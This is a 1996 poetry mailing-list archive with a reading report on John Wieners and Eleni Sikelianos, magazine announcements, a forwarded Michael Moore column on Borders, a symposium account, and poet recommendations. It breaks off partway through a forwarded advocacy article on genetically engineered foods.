317. Jordan Davis
Eleni Sikelianos, John Wieners (Poetry City 11/7)
Wed 20 Nov 1996

A capacity crowd (110) turned up Thursday, November 7, 7 p.m., to hear Eleni Sikelianos read with John Wieners. It was a good thing both poets were there.

Eleni read for about twenty-seven minutes. She read eleven or twelve pieces. She wore black platform shoes, black pants, and a peach silk top. "I bet you didn't know you were in for some essays," she said, about four poems into the reading. "Are you ready? There's no thesis statement," she continued, launching into "No One the Washing Machine", "Now We Will Speak of the Various Parties," "The Auto-Portrait at Half Day," and "Letting the Blood Drop," among other essays. Although I was not the one to escort John Wieners to the office, I was still somehow very nervous and could not take notes. I caught the line, "I compare my state of being to the state of Kansas," and then, "nothing to protect us from ambient creatures," but not much else. Eleni was very poised. About halfway through her reading, she asked the audience, "How are you doing?" A recovering-from-pneumonia Tim Davis piped up, "Never better!" "Then get home!" Eleni said. John Wieners himself led one of the two rounds of applause that met Eleni's reading.

There was an intermission. We sold several books. The calvados I brought from home went like that. Among the milling were Tom Savage, Bruce Andrews, Sam Truitt, Brenda Coultas, Brian Kim Stefans, Bill Luoma, Josh Galef, Brigham Taylor, Brendan Corber, Rochelle Kraut, Steve Dalachinsky, Raymond Foye, Kim Rosenfield, Rob Fitterman, Tim Davis, Liz Fodaski, Marcella Durand, Rich O'Russa, Carol Szamatowicz and I think David Henderson. The place was mobbed. Simon Pettet watched over John for me.

Enough time elapsed. Anna Malmude said "I am very happy to introduce John Wieners." He read for eighteen minutes and fourteen seconds, according to Raymond Foye. He opened with a request: "Billy." He read from his Cape Goliard book. It was not easy to tell which parts of what he said were poems. I spent most of the reading fiddling with the av equipment to try and broadcast John's small wavering voice to the back of the room. There was one burst of feedback, oops. And then there was a sforzando on the word 'Roses.' At four points during the reading, John interrupted his very clear and pleasant metrics to carry lines way out past where one would expect them to stop. That was beautiful. Some people told me they just had to leave when he lit up during his reading. I don't know. I caught bits about Copley Square (?) and other Boston geography. I couldn't say exactly why, but I wanted very much to cry the whole time.

Afterwards, John signed a lot of books. Somebody was reading _707 Scott Street_, John's late 50s early 60s journal transcribed by Lewis Warsh and published by Sun & Moon, and John asked to see it, not having seen it yet. John told Eleni that it was good he remembered her from the novel.

Bill Luoma helped me walk John back to the hotel, we said we'd catch up with Eleni and company at the Cedar. On the way, some people in costume passed by. I asked John what he went as on Halloween when he was young. "A dog ... then Frederick's of Hollywood." Bill asked John a few questions, and I did too. We brought John to his room, a suite on I think the eleventh floor. Bill hugged him and gave him a kiss, and I hugged him. John asked whether I'd be bringing him to Port Authority. The plane ride in was too hard for a man as old as him, he said, and the train is "very nice, very beautiful. Too nice." So the bus.

The Cedar's remodeling job is terrible. No smoking, no big group-style seating accomodated. The skylights are all right, I guess, and the girders that replaced the logs make more sense, are less disturbing. The waitress was really difficult. Bill pegged her as a sociology grad student. Eleni didn't know Anna and I were engaged, so we got that attention bonus. Karl Parker and Seph Rodney were too far away for me to talk to them. Laird Hunt was talking to Eleni and the others.

The next day, I met John at check out time. Raymond Foye had been by. Pharcyde was checking out. John came out of the elevator, we signed out, and caught a Honda cab. I told John his reading was very beautiful, and he said "Well, you get used to the failures." I asked him if he would like me to call someone in Boston to come pick him up from the bus stop, and he said "No, it's good for me to do things like that for myself now and then." Seeing a lucid interval open up, I asked him about some of the long lines, and he said, "Yes, he was a stocky man who made hats, and was a transvestite by the Canadian

border." The cab arrived at Port Authority, and he held the place on line while I bought him a pack of Kents. We waited as the ticket clerks flirted with the teenage girls going back to Boston. I got John a ticket about three minutes before the bus left, and we got down to the gate as they were boarding the last five people. We hugged, and he said, "You get home safely now. I'll see you again before long."

Jordan Davis

↑ Index

318. Mark Roberts
AWOL: Lexicon 2 (forwarded)
Wed 20 Nov 1996

Lexicon 2

Lexicon 2 is now available through Australian Writing On Line.

Lexicon 2 continues were the first issue left off with a feast of writing from new writers from Australia and overseas. Poetry by Jan Marshall, Ben Ohmart, Catherine Moore-Lin, Greg Bogaerts Adriana Rivera, Samantha Kingsley, Xavier Toby and others. Prose by Norma Knight, Greggory Moore, Dustin Thompson, Jane Crofts, Stefaine Bennett and many others. Of course there's the Editor's Choice - this issue its Sonia Haddock's 'Hamburgers for Dinner' - and of course the crossword.

To order Lexicon 2 through the AWOL Virtual Bookshop simply printy this post, add your name and address, attach a checque for AUST$5.95 (includes $1 postage) and mail it to AWOL, PO Box 333 Concord NSW 2137. (overseas orders - please contact us first for international charges). Or you can tell your favourite bookshop to order a copy through AWOL.

and feel free to visit our Virtual Bookshop at our website (we undertaking major construction there at the moment so wear your hard hat!)

AWOL
Australian Writing On Line
[redacted]
http://www.ozemail.com.au/~awol
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667, Mobile 015063970
Fax 61 2 7472802

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.

Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

319. Mark Roberts

AWOL: SCARP 29 (forwarded)

Wed 20 Nov 1996

SCARP 29

SCARP 29 is now available through Australian Writing On Line

It features
-an article by Pamela Johnston on issues of ownership & aboriginal languages
-an interview with Deb Westbury
-short stories by C S Hams, B N Difonzo and Tim Griggs
- poems by over twenty poets, including John Malone, Jennifer Compton, S K Kelen, John Millett, Mark O'Flynn and many others
- reviews of books by John Kinsella, Marcelle Freiman, Thomas Shapcott, Carolyn Gerrish, Warrick Wynne and joanne burns

To order SCARP 29 through the AWOL Virtual Bookshop simply printy this post, add your name and address, attach a checque for AUST$8.00 and mail it to AWOL, PO Box 333 Concord NSW 2137. (overseas orders - please contact us first for international charges).

and feel free to visit our Virtual Bookshop at our website (we undertaking major construction there at the moment so wear your hard hat!)

AWOL
Australian Writing On Line
[redacted]
http://www.ozemail.com.au/~awol
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667, Mobile 015063970
Fax 61 2 7472802

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320. Jordan Davis
mind/body
Thu 21 Nov 1996

Anybody work out that Mind/Body problem yet?

Jordan

↑ Index

321. Aldon L. Nielsen
Re: Having a goad time -- wish I were there
Thu 21 Nov 1996

Did any of you New Yorkers attend the Tongues of Fire Choir event?

↑ Index

322. Gabrielle Welford
Labor orgzg. & Banned by Borders- Michael Moore (fwd)
Thu 21 Nov 1996

This seems to be appearing everywhere. good! gab.

---------- Forwarded message ----------
Forwarded message:
>
> >From The Nation:
>
> Banned by Borders
> by Michael Moore
>
> On November 9, as I write this, I was supposed to have
> been at the Borders bookstore in Fort Lauderdale,
> Florida, speaking and signing copies of my book
> Downsize This! Random Threats from an Unarmed
> American. It was to have been the final stop of my
> forty-seven-city tour. But on October 30 I was told that
> the book-signing had been canceled. The Fort
> Lauderdale Borders had received a memo from its
> corporate headquarters in Ann Arbor, Michigan,
> banning me from speaking or signing at any Borders
> store in the country.
>
> When I was growing up in Michigan, the original
> Borders was a store that actively championed free

> expression. In fact, when I was publishing the
> Michigan Voice, Borders would carry my paper when
> other establishments would not. Now, Borders is a
> huge nationwide chain, and its "liberal" views have
> earned it the reputation as the "Ben & Jerry's of the
> book chains."
>
> So why was I banned from Borders? My book was
> doing well. It has been on the New York Times
> best-seller list for a month and was the number two
> best-selling Random House book for the entire Borders
> chain.. I've been banned, I found out, because I made
> the mistake of uttering a five-letter word, the dirtiest
> word in all of corporate America -- "union."
>
> Back in September, on the second day of my tour,
> when I arrived at the Borders store in downtown
> Philadelphia, I found nearly 100 people picketing the
> place because Borders had fired a woman named
> Miriam Fried. She had led a drive to organize workers
> at the store into a union. The effort failed, and, a few
> weeks later, Miriam was given the boot.
>
> When I found this out I told the Borders people that I
> have never crossed a picket line and would not cross
> this one. I asked the demonstrators if they wanted to
> take the protest inside. They thought it was a good idea.
> I had no desire to cause a ruckus, so I asked Borders
> management if it was O.K. to allow the protesters in.
> They said yes. So we all came into the store, I gave my
> talk, I gave Miriam the microphone so she could talk,
> everyone behaved themselves and it was a good day all
> around -- including for Borders, which ended up selling
> a lot of books, breaking the record for a noontime
> author at that location. (The record had been held by
> George Foreman, and I now like to tell people only Ali
> and I have beaten Foreman.) I also announced that I
> would donate all my royalties for the day to help Miriam
> out.
>
> Although Anne Kubek, Borders' corporate V.P. in
> charge of labor relations, had approved my bringing the

> protesters inside, upper management decided that she
> had made a mistake -- and they were going to take it out
> on me. On the following Tuesday I was scheduled to
> speak at the new Borders store in New York's World
> Trade Center. When I arrived, I was met by two
> Borders executives. They had flown in from Michigan
> just to stop me from speaking. The executives, flanked
> by two security guards, explained that I could come into
> the store and sign books, but I would not be allowed to
> talk to the people who had come to hear me. They said
> that the "commotion" I had caused in Philly raised
> "security concerns." I couldn't believe I was being
> censored in a bookstore.
>
> The Borders manager told the assembled crowd that I
> would not be speaking because "Port Authority police
> and fire marshals have banned all daytime gatherings at
> Borders." When I heard this, I stepped forward and told
> the people this was a lie, that I was forbidden to speak
> because of my support for the workers in Philly. Under
> protest, I signed the books of those who stayed --
> beneath a big banner celebrating "Banned Books
> Week."
>
> On October 13, I spoke to a large crowd in a Des
> Moines auditorium. After the speech I went out front
> and started signing books. "What store are these from?"
> I innocently asked. "Oh, these are from the local
> Borders," I was told. Well, I thought, they don't mind
> if I make them some money -- as long as it's not on
> their premises! Then someone slipped me an
> anonymous note. It read: "We are employees of the Des
> Moines Borders. We were told that we could not work
> the book table tonight, that only management was
> working the table, because they said they wanted to
> 'protect us' from you."
>
> An hour later, I went out to the parking lot and saw
> some people standing there in the dark -- the employees
> from the Des Moines Borders! They said they were
> hiding out there because they had spotted Borders'
> regional director with another man inside. "He flew in

> to spy on you, or us, or both," they told me. "He saw
> us so we may not have jobs on Monday." (Bookstore
> employees afraid they might be fired for attending a
> public speech at the Herbert Hoover High School
> auditorium!) The executive had not introduced himself
> to me -- or his colleague, who employees believe is a
> unionbusting "consultant" hired by Borders.
>
> I wished the workers well, and the next night they held
> their first union meeting. The previous week, the
> Borders store in the Lincoln Park section of Chicago
> had become the first Borders in the country to vote in a
> union (United Food and Commercial Workers).
> Recently, workers in Des Moines signed enough cards
> to hold a union election. It is a victory that should
> inspire not only Borders workers but underpaid
> employees everywhere. That's why I am not in Fort
> Lauderdale as I write this. Borders is "protecting" its
> workers from me.
>
> Well, they're really going to need protection now. First,
> I am donating my royalties from the next 1,000 sales of
> Downsize This! to the organizing drive at Borders.
> Second, I am asking each of you to support the Borders
> workers in your city. Bring up the union when you're
> in the store and thank that kid with the nose ring and
> green hair for helping to revive the labor movement in
> America.
>
> Note to Borders Executives: If, after this column is
> published, you retaliate by removing my book from
> your shelves, or hiding it in the "humor" section or
> underreporting its sales to the New York Times list, I
> will come at you with everything I've got. You
> sandbagged me in Philly, and the only decent way for
> you to resolve this is to give Miriam Fried her job back
> and let the workers form their union without
> intimidation or harassment.
>

-- ********** Tal-
madge Wright [redacted] * Dept. of Sociology &

Anthropology FAX:[redacted] * Loyola University Chicago [redacted] * 6525 N. Sheridan Rd. * Chicago, Illinois 60626 *
****

↑ Index

323. **maria damon**
queer beats
Thu 21 Nov 1996

---

speaking of john wieners (thank you jordan for your lovely portrait) i went to the queer beats symposium in sf this past weekend. kevin k was one of the convener/symposiacs and he looked lovely in a beige suit w/ his hair falling debonairly over one eye. hints of mod london era. it was raining as it had been in minneapolis but twas 30 degrees warmer which made a big difference. i fretted over lipstick color and bought a new one at a place called "escentuals" which we don' have in mpls, but it didn't really work with my shirt, whose color i keep mistaking for more brickish than it is, in fact its red is more bluish. however nobody said anything derogatory about my lipstick at least not to my face throughout the entire day. so let's see: first panel: very smart earl jackson jr who i barely recognized, who used to work at umn and now at ucsc, talked about burroughs cutup as a specifically gay strategy. steve silberman gave a sweet talk about allen g's relative "emotional blankness" during his later erotic lyrics and other stuff, also a critique of kerouac's gay scenes in cody. bruce x (formerly boone) was touchingly abject speaking of touching abjection, notably wieners, with much late-antiquity and some bataille musings on the relationship of writerly and sexual masochism's place in religious aspiration. boone is a formidably well read person. so is jackson. last but first, the magnificent lenore kandel made a rare appearance and talked about the trial of the Love Book, in which legal officials seriously argued over whether angels have sex and if there was sex after death. then there was lunch, which were grilled vegetable sandwiches, good but too oily. i palled around w/ michael davidson and met bob gluck, and kevin introduced me to scott watson who had known russell fitzgerald who had known bob kaufman. then the next panel featured davidson, who gave a nice queerified version of his Orono paper that had some guys behind me oohing and ahhing and saying that talk made the whole conference for them. a guy who looked younger than he was, in hiphop ski cap, read a memoir about his friendship w/ burroughs. ginsberg showed up in the audience to hear him. then a cute guy from dartmouth, ricardo ortiz, talked about john rechy and jim morrison, postulating an aesthetic relationship between them by way of L.A. hustler culture. it was charming and fun but probably the least convincing of all of the papers up to that point, not that its implausible but that it was

sketchy. then harold norse, me, and scott watson. harold read from his wonderful memoir that has gone out of print like everything else he's written, scott watson showed slides of north beach artists like fran herndon, jess and tom fields etc, while postulating smartly and too modestly that gay sensibility of the time was manifest in a reimagining of childhood. i talked about bob kaufman and russell fitzgerald, using plato's symposium as a frame. i did n't get to the second part of my paper, the "influence study" part, so was mostly gossippy. of course i felt that my paper was the weakest of the day but i was having such a good time i didn't care. then a nice dinner at gluck's house, where i got to shmooze w/ kush, dodie, scott watson and bruce x, whom i kept disappointing by not having read various late antiquity philosophers. it had stopped raining by the time i left bob gluck's and it was warm. sf is truly magical.--md --kevin, do you have anything to add?

↑ Index

324. Jordan Davis

Rochelle Kraut and Pam Grossman at Poetry City tonight!

Thu 21 Nov 1996

If you're in New York, come to Poetry City tonight. Shelly Kraut will be reading her poems, and Pam Grossman will be reading _her_ poems. As Kenny Goldsmith's favorite street schizo poet Orion once noted, "Shelly Kraut is the true Santa Claus." Pam is often found among the Unbearables. As usual, the party part is as important as the reading part. It's at 7. Thanks, Jordan

↑ Index

325. Michael Boughn

test

Thu 21 Nov 1996

Sorry to bother folks, but I just want to see if this gets through. I seem to be having trouble with the new address.

Mike

[redacted]

↑ Index

326. **Thomas M. Orange**
annoying mail from chronotope.com
Thu 21 Nov 1996

Sorry to trouble the list with this, but does anyone know where these things are coming from, why they are being sent to the people on this list, and how it can be stopped?

Thanks,
Tom

(P.S. Thanks for the tips on Grumman and Wat!)

↑ Index

327. **Charles Watts**
Aaron Shurin reading in Vancouver
Thu 21 Nov 1996

Aaron Shurin will read his poetry at the Kootenay School of Writing on Saturday, November 23rd, at 8 p.m. The Kootenay School of Writing is located in the Or Gallery at 112 West Hastings, Vancouver, B.C. For more information telephone [redacted].

Aaron Shurin teaches creative writing at San Francisco State University, where he is also on the staff of the Poetry Center, and at the University of San Francisco. He read his poetry most recently in Vancouver at The Recovery of the Public World, a conference and festival in honour of Robin Blaser held in 1995.

He also reads tonight, November 21st, in the Subtext series at the Speakeasy Cafe, 2304 2nd Ave in Seattle's Belltown district, at 7:30 p.m.

His recent books include _A's Dream_ (O Books) and _Into Distances_ (Sun and Moon). Shurin has two books forthcoming from Sun and Moon. _A Door_, a book of poetry, is expected in spring 1997. He has been working on _Unbound: A Book of AIDS_ (available December 1996) for the past 8 years. This work comprises investigative prose, essays in poetics and the difficulties of writing within the time of AIDS.

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328. **Susan Atefat-Peckham**
Re: the poets and land and landing poets
Thu 21 Nov 1996

For some reason no poets (other than the dark barn variety) leap to mind. But the creative non-fiction work "The Solace of Open Spaces" by Gretel Ehrlich uses the isolation of Wyoming to create a rather incredible metaphor for

devastation and healing. You might check it out. Grain, by the way, is a lovely magazine.

--JOEL

↑ Index

329. Alan Jen Sondheim
Lineaments of Desire (last of these for a while) (fwd)
Thu 21 Nov 1996

1111.1111

Lineaments of Desire

The construct/gender program has become increasingly complex. Each line or line-pair below represents a test-case. Because I concentrate on the code, the actual entries become a matter of preconscious or autonomic writing. The re- sult is an odd self-portrait or production, more accurate than any- thing I could deliberately produce. So indeed a different gender is con- structed, one _across_ the entries, a matter of interpenetration or trans- gression. The output is from the last three days.

girl:ok:235701:2:lover:girl
lover:yes:235701:1:boy:lover
groybirl:suppose so:235705:2:lulu:groybirl
honey:yes:235708:0:tiffany:honey
honey:yes:235710:3:tiffany:honey:loving
louvre:yes:235710:0:clara:louvre:dark
sumerian:hysteric:wet:lugal:yes:235710:3:ululata:lugal:wet
one:two:three:four:gender:yes:235710:0:name:gender:one
etuc:yppols:sselhtraerb:ynnafit:sey:235710:2:yenoh:ynnafit:sselhtraerb
lunar:cool:lung:moon:yes:235710:0:sunshine:moon:cool
white:black:grey:sucky:red:sure:235710:2:yellow:red:grey
salt:suppurate:slave:sal:yes:235710:2:lugal:sal:slave:
froth:lag:yes:235710:1:gal:lag:froth:date
lovely:brilliant:hot:female:girl:235711:2:woman:female:brilliant
Thu Nov 21 02:09:24 EST 1996
tough:hard:dumb!:man:ohboy!:235711:3:male:man:tough
Thu Nov 21 02:10:26 EST 1996
young:old:dad:sure:235711:0:mom:dad:young
Thu Nov 21 02:11:54 EST 1996
yoma:malamu:luma:ulamu:mulu:235711:2:wummy:ulamu:yoma
Thu Nov 21 02:12:43 EST 1996
sure:lively:maybe true:greyghost:yes:235711:2:la:greyghost:sure
Thu Nov 21 02:13:16 EST 1996

misery:death:anxiety:illness:sadness:oh yes:235713:0:sorrow:sadness:misery
Thu Nov 21 04:33:32 EST 1996
sleazy:self-lit:hungry:lurid:yes:29923:3:uh, Alan:lurid:self-lit
Thu Nov 21 15:02:08 EST 1996
a:b:c:thing:sure:408:3:yummy:thing:b
Thu Nov 21 15:04:33 EST 1996
being:one :now:sure:yes:865:0:lulu:sure:being
235724Thu Nov 21 15:07:53 EST 1996
bad:horrible:dank:evil:yes:1861:3:love:evil:horrible
235724:Thu Nov 21 15:16:45 EST 1996

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330. **dbkk**
spam
Thu 21 Nov 1996

This is Dodie Bellamy.

To those of you fellow listservers who are being spammed by filch and want to do something about it, this is what I've read you should do:

You send the message with full headers to <postmaster> at the origininating account, in this case:

[redacted]

Frankly, I don't know if this will work with pair.com since they are different than a regular service provider. (If you ever get one of these spams from aol, the address is <[redacted]>.)

You should begin with something like the following:

I received the following unsolicited bulk email ("spam"), which apparently originated from your site. Please take appropriate action to ensure this doesn't happen again.

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331. **maria damon**
Re: the poets and land and landing poets
Thu 21 Nov 1996

In message <[redacted]> UB
Poetics discussion group writes:
> i just received my copy of GRAIN today. i realize that this an american
> based talkgroup but i must ask: the new poems i read today have a real

> feel of landscape, climate and enviroment that become a very comfortable
> parentheses within which the voice frolics and grooves.
>
> my query is twofold.

1. are there any western american writers that i could
> read that use the harsh isolation as a springboard for verse.(i don't mean
> cowboy poetry)?
robinson jeffers
ed dorn
robin blaser (long poem on growing up in idaho, in the holy forest)
jack spicer (nary a quonset, but lots of harsh isolation)

(2) are there any prairie poets who,have been able to
> transcend the lingo of the farm/slough/seasons/quanset(sp?)
??? i shd know this since i live on the "prairie" now but i don't. try diane glancy, linda hogan (mostly south west tho), joy harjo (again, more south than prairie).

> *hut/hockey/trapping/chiasmustic seasonal changes. as a transplanted gopher chaser i am finding it harder to find a voice that somehow negotiates the two.*
>
> *cheers,*
> *kevin*

↑ Index

332. Eliza McGrand- CVA Guest
Re: the poets and land and landing poets
Thu 21 Nov 1996

when you ask abut western american writers, i think of richard hugo, meridel le sueur, bruce weigl, lorine neidecker, joy harjo, carl sandburg (i know it is fashionable to dump on him, but while there are some pretty bad poems, there are some very lovely ones too. when i have midwestern nostalgia, i sometimes read him); for prose, raymond carver, tim o'brien, larry heineman, laura ingalls wilder, frontier women's diaries, a book about the infamous donner party by Ruth Whitman (that is poetry)... e

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333. Pierre Joris
Re: the poets and land and landing poets
Thu 21 Nov 1996

k.a. hehir wrote:

> *my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)? (2) are there any prairie poets who,have been able to transcend the lingo of the farm/slough/seasons/quanset(sp?) hut/hockey/trapping/chiasmustic seasonal changes.*

3 that come immediate to mind are Lorine Niedecker, Ed Dorn & Ken Irby.

--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
abstract or representational. It is really a matter of
ending this silence and solitude, of breathing and
stretching one's arms again.

Mark Rothko

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334. cris cheek
Fwd: Overview: Genetically Engineered Foods
Thu 21 Nov 1996

Hi - taking a risk that this hasn't 'cropped' up on the list yet. I've been away teaching, signed off. Thought it might be of interest. Allen Fisher mailed this out to be posted on.

PLEASE FORWARD this information to people and organizations
>all over the world who may need to know about it:
>
>For example: people and organizations that eat food,
>people and members of organizations who have loved ones
>that eat food, and people and groups whose members care
>about their health and the environment.
>
>OR SEND IT TO ANYONE THAT YOU PERSONALLY CARE ABOUT
>
>This article from Food & Water Journal, Spring 1996, gives a
>terrific overview of the issue and discusses individual foods
>as well. We have used it as part of our literature since the
>beginning of our campaign. It was written by Brian Tokar,
>the Biotech writer at Food & Water. This is his uncut version.

>
>If you receive this article after it has been forwarded many
>times and you need a fresh version, just e-mail to
>[redacted] and request a new version of this
>"Overview." You may also request more information at
>the same e-mail address.
>
>At the end of the article is the "Three-Tell-Three"
>marketing plan and system designed to get this information
>out all over the Internet and all over the world. There is
>also a telephone number and address for
>"Mothers For Natural Law," where you can receive more
>information and a "Safety-First" information pack by
>U.S. mail. Finally we give instructions on how to shop
>to avoid genetically engineered foods. (A very good thing
>to aviod)
>
>
>GENETICALLY ENGINEERED FOODS: COMING TO YOUR SUPERMARKET
>(Published as "CONSUMER BEWARE.")
>
>
> The floodgates are opening this year for the
>widespread commercial sale of genetically engineered foods.
>After nearly a decade of research in laboratories and
>experimental farm plots across the country, U.S.
>government agencies have issued approvals for genetically
>engineered crops to be grown in large quantities and offered
>for sale. Last year, final consent was obtained for engineered
>varieties of corn, squash, potatoes, tomatoes, soybeans, canola
>and cotton. Many of these crops were raised for seed during
>the 1995 growing season, and may be available in your local
>supermarket later this year.
>
> Since 1990, nearly 3000 varieties of genetically
>engineered plants, animals and bacteria have been developed
>and field tested in the United States. Field tests have
>occured in every state except Vermont, New Hampshire, New Mexico,
>Wyoming, Utah and Nevada. Plants have been manipulated
>genetically to resist high doses of herbicides, manufacture
>insecticidal toxins, resist viruses, ripen more slowly or
>more uniformly, and display altered chemical compositions.

>Chemical companies such as Monsanto, Ciba-Geigy, DuPont
>and Upjohn, along with many of the largest commercial seed
>companies, have invested heavily in biotechnologies such as
>genetic engineering in an effort to expand their control
>over the increasingly monopolized food industry. While some
>of these engineered crops will be marketed as specialty products,
>others may be mingled with the general food supply, making
>it difficult to distinguish them from non-engineered varieties.
>Only widespread consumer outrage can prevent these giant
>corporations from dramatically increasing their control over
>our food, and furthering the spread of this
>dangerous new technology.
>
> Genetically altered plants have many qualities
>that distinguish them from their naturally-growing relatives.
>Genes from other plants, bacteria, viruses and even animals
>are isolated from their original sources and spliced into the
>earliest, embryonic cells of the plant of choice. However,
>despite the repeated claims of industry representatives, this is
>far from a foolproof process. The resulting genetic patchwork,
>containing genes from a number of completely unrelated sources,
>will often behave in strange and unexpected ways, and can
>display unpredictable nutritional, behavioral and environmental
>properties. While research aimed at developing new genetically
>engineered crops has proceeded at lightning speed in recent
>years, research to improve our understanding of the possible
>consequences has crept along at a pace that would embarass a
>snail.
>
> Thus, the long range effects of these new crops
>remains largely unpredictable. Only the most extreme cases
>require any special scrutiny by the FDA and other agencies,
>and none of these products will have to be labeled. The ability
>to provoke an allergic reaction, for example, can be accidentally
>transferred from one plant to another in the course of
>transfering genes. Most engineered crops are resistant to
>antibiotics, which are used as experimental markers to easily
>distinguish altered plant cells from their normal relatives.
>Antibiotic resistance can be passed on to bacteria in the soil
>or even to organisms residing in or on exposed people and animals.
>Levels of toxic substances ordinarily found at below-detectable
>levels in foods may be increased, and unique combinations

>of genetic traits might even have an effect on our ability to
>digest food properly. Many engineered crops allow increased
>use of herbicides and pesticides in agriculture, and make it
>easier for food processing companies to impose higher standards
>of uniformity. Farmers producing crops under contract to food
>processors -- an increasingly common practice -- are often
>required to follow a strict schedule of chemical treatments,
>even if a particular pesticide treatment might be against
>the grower's own better judgement.
>
> Here are some of the items that may be coming to your
>supermarket soon, thanks to the latest innovations in biotechnology:
>
> Tomatoes that look fresher, but aren't: Since 1993,
>Food & Water has been reporting on the efforts of Calgene and other
>biotechnology companies to produce a tomato engineered to ripen
>more slowly for longer shelf life. Calgene's inability to
>convince anyone to buy these tomatoes drove the company right to
>the edge of bankruptcy last summer. Just when the end appeared
>to be in sight, Monsanto jumped in, purchasing 49.9 percent of
>Calgene stock, and offering the company and its "Flavr-Savr"
>tomatoes a new lease on life. Monsanto has also purchased
>the vegetable growing and packing company Gargiulo L.P. and
>merged its operations with Calgene's (see sidebar).
>
> Soybeans and cotton grown with toxic herbicides:
>Monsanto will be marketing soybeans containing petunia, bacteria
>and virus genes that render it resistant to the herbicide,
>glyphosate, which Monsanto markets worldwide under the trade
>name, Roundup. The Pesticide Action Network reported last
>August that Monsanto is doubling its production capacity for
>Roundup, a general purpose herbicide which is highly toxic to
>most plants. Meanwhile the French chemical company Rhone-Poulenc
>has obtained EPA approval for an engineered variety of cotton
>that is resistant to the herbicide bromoxynil. The approval
>was for a three year trial, in which Rhone-Poulenc is supposed
>to submit data on bromoxynil's effects on human health. This
>highly toxic herbicide is known to cause developmental
>abnormalities in laboratory mammals and may cause birth
>defects and cancer in humans. There is little doubt that
>large increases in agricultural herbicide use would result
>from the widespread use of these engineered crops.

>
> Crops that make their own pesticide: Varieties of corn,
>potatoes and cotton have been approved that incorporate genes from
>Bacillus thuringiensis (Bt), a variety of bacteria that is toxic
>to many varieties of crop-damaging caterpillars. But while
>the natural form of Bt's toxin is only activated under special
>circumstances, making the short-lived bacteria safe for use by
>organic growers, the active toxin released by these engineered
>plants could impact populations of a wide variety of beneficial
>insects, butterflies and moths. The EPA has projected that
>widespread use of Bt-engineered crops would result in many of
>the target pests becoming resistant to Bt in three to five years.
>Organic growers would lose one of their safest and most flexible
>tools, and everyone else would either seek higher-potency chemical
>pesticides, or have to wait for the biotechnology industry to
>produce a yet more potent generation of pesticide-producing
>strains. The Swiss multinational Ciba-Geigy is both a leading
>pesticide manufacturer and holder of the patent for
>Bt toxin-producing corn.
>
> Canola that can replace tropical oils: Calgene, in
>collaboration with Procter & Gamble, has produced a strain
>of rapeseed, source of the ever-popular canola oil, that is high
>in lauric acid, a fatty constituent naturally found in coconut
>and palm kernel oil. While consumers have widely rejected foods
>containing tropical oils due to their high content of saturated
>fats like lauric acid, such fats are a key raw material in the
>manufacture of detergents, soaps and cosmetics. Procter &
>Gamble has contracted to buy a million pounds of the high-lauric
>oil. The rape plant is a close relative of the wild mustards
>that grow abundantly throughout much of the U.S., and these
>mustards could serve as carriers for unique combinations of
>genetic traits to be passed on in the wild. Researchers in
>Scotland recently reported that pollen from genetically
>engineered oilseed rape escaped and fertilized plants a mile
>and a half away. The so-called "high lauric" canola will
>also impact the economies of countries like the Philippines,
>Indonesia and Malaysia that are highly dependent on coconut
>and palm oil exports.
>
> In addition to genetically altering food crops,
>scientists have investigated ways to alter the genetics of

>bacteria and insects to assist agricultural production.
>Last fall, a group of whistleblowers at the EPA released
>a report describing the agency's efforts to speed up approval
>of a strain of genetically engineered "super bacteria."
>The bacteria are related to common soil bacteria that attach
>to the root nodules of alfalfa, clovers and legumes and allow
>these plants to absorb nitrogen directly from the air. The
>engineered variety has a doubled nitrogen-fixing gene, which
>researchers hope will increase the nitrogen-fixing efficiency of
>plants that the bacteria come into contact with. It also contains
>a nitrogen-fixation promoter gene from soybeans, a gene for
>resistance to the antibiotics streptomycin and spectinomycin,
>obtained from dysentery-causing Shigella bacteria, marker genes
>from E. coli, and a fragment of DNA from another disease-causing
>strain of bacteria (Klebsiella pneumoniae) that is used to
>facilitate gene transfer in the laboratory.
>
> "Overeager to promote biotechnology, EPA has either
>deliberately ignored or actively suppressed concerns raised by
>staff and independent scientists," stated the report on these
>bacteria, released by the organization Public Employees for
>Environmental Responsibility. A company called Research Seeds,
>Inc., a susdiary of Land O'Lakes (a well-known promoter of the
>use of engineered Bovine Growth Hormone in dairy cows) received
>permission to field test these bacteria in 1993, despite a
>plethora of public health, environmental and agricultural concerns.
>EPA approval for commercial sale of the bacteria is now pending,
>despite the likelihood of serious disruption of soil ecology and
>fertility, the development of more virulent weeds, spreading
>antibiotic resistance, and the potential for pathogenic or
>allergic reactions in both people and animals.
>
> Scientists at the University of Florida have added new
>genes to a variety of tiny mites that feed on crop-destroying
>spider mites. Genetic marker genes have survived 150 generations
>in these mites, and researchers are investigating ways to enable
>them to adapt better to Florida's climate and also to resist
>pesticides. Genetically engineered Medflies, mosquitoes,
>honey bees, cotton bollworms and many other insects have been
>created in laboratories for a variety of purposes.
>Commercialization of these organisms would result in their
>widespread release and use in the environment. This poses

>significant environmental risks, as these creatures all reproduce
>rapidly, play a variety of important ecological roles, travel
>long distances, and would be impossible to control once released.
>
> These various developments are only the latest in the
>long range, global effort by the biotechnology industry to
>supplant natural processes in agriculture, medicine, forestry,
>and nearly every other realm, with their own artificial, costly
>and ultimately short-term "solutions." Scientists are isolating
>and manipulating hormones that control the growth and flowering
>of plants. They are engineering animals to produce drugs in
>their milk, and raising pigs containing human immune system
>proteins that may allow them to be used as sources of organs for
>transplants. There have been experiments involving animal viruses
>including rabies, as well as a deadly rabbit virus that recently
>escaped from an experimental facility on Wardang Island, off the
>coast of Australia. Natural processes, and even the genes of human
>beings are being patented by companies that see the entire world as
>nothing more than objects to be controlled and profited from.
>These developments are merely symptoms of an economic system, and
>an entire culture, that has fallen so far out of balance with the
>natural world that the survival of complex life on earth is
>increasingly threatened by its excesses.
>
> But none of these developments are as inevitable as
>industry representatives would have us believe. Just a decade ago,
>the experts were predicting that Bovine Growth Hormone, genetically
>engineered plants, anti-frost bacteria, and many other products of
>biotechnology would be widely accepted by the early 1990s. This has
